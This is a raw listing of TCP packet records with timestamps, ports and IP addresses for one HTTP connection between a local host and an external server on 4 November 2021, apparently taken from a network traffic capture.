Nov 4, 2021 13:12:39.216628075 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216638088 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216659069 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216675043 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216681004 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216701984 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216725111 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216746092 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216751099 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216773987 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216795921 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216797113 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216804981 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216808081 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216821909 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216830969 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216833115 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216876984 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216897011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216933966 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216938019 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.216955900 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216978073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.216999054 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217020035 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217025042 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217063904 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217067957 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217068911 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217092991 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217103958 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217127085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217138052 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217150927 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217150927 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217174053 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217184067 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217195988 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217215061 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217216969 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217238903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217262983 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217268944 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217272997 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217284918 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217308044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217328072 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217339993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217360020 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217370987 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217389107 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217391014 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217412949 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217416048 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217443943 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217447042 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217467070 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217473030 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217489958 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217504978 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217514992 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217525959 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217541933 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217555046 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217576027 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217593908 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217597961 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217598915 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217607021 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217627048 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217631102 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217654943 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217669010 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217675924 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217695951 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217704058 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217715979 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217716932 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217735052 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217737913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217756033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217760086 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217780113 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217781067 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217792034 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217802048 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217813969 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217830896 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217844963 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217855930 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217869997 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217880011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217897892 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217900991 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217920065 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217921019 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217941046 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217942953 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217963934 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.217982054 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.217993021 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218010902 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218018055 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218039989 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218044043 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218065023 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218080044 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218085051 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218092918 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218106031 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218122959 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218127012 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218142033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218147993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218161106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218168020 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218175888 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218189001 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218204975 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218209028 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218225956 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218230963 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218236923 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218250990 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218269110 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218271017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218286037 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218291998 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218310118 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218312979 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218319893 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218333960 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218343973 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218353033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218372107 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218374968 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218396902 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218399048 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218416929 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218420029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218441010 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218441963 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218461037 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218463898 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218478918 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218482018 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218502998 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218502998 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218523026 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218524933 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218527079 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218547106 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218565941 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218570948 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218591928 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218599081 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218611002 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218612909 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218630075 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218633890 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218653917 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218666077 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218671083 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218674898 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218688011 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218696117 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218702078 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218718052 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218725920 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218739033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218759060 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218760014 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218780994 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218785048 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218799114 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218802929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218820095 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218825102 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218839884 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218847036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218861103 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218868017 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218871117 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218888044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218907118 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218909025 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218929052 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218934059 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218950033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218950033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218967915 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218970060 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.218988895 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.218991041 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219007969 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219012022 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219028950 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219033003 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219052076 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219053984 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219063044 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219075918 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219090939 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219095945 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219113111 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219116926 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219132900 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219137907 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219153881 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219157934 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219175100 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219177961 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219194889 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219198942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219214916 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219219923 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219229937 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219242096 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219260931 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219264030 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219281912 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219296932 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219304085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219324112 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219337940 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219345093 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219364882 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219366074 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219384909 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219402075 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219405890 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219424963 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219427109 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219444990 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219461918 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219466925 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219486952 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219486952 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219506979 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219521046 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219527006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219544888 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219548941 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219572067 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219574928 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219595909 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219595909 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219611883 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219616890 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219635963 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219639063 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219656944 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219660044 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219676018 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219680071 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219698906 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219700098 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219722033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219743967 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219763041 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.219763994 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.219789028 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220222950 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220648050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220690012 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220710993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220724106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220741034 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220746040 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220763922 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220772028 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220801115 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220825911 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220833063 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220840931 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220860004 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220875978 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220891953 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220896006 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220918894 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220927000 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220940113 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220948935 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220967054 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.220979929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.220995903 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221000910 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221020937 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221023083 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221045971 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221045971 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221065998 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221070051 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221091986 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221095085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221116066 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221127033 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221139908 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221146107 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221165895 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221187115 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221196890 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221204996 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221209049 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221229076 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221255064 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221263885 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221271038 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221307993 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221313953 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221332073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221349001 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221352100 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221364975 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221370935 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221389055 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221391916 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221406937 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221412897 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221440077 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221442938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221476078 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221496105 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221515894 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221529007 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221530914 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221549034 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221563101 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221570015 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221586943 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221590996 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221607924 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.221615076 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221622944 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.221643925 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222552061 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222588062 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222596884 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222618103 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222642899 CET	49754	80	192.168.2.3	104.21.92.165
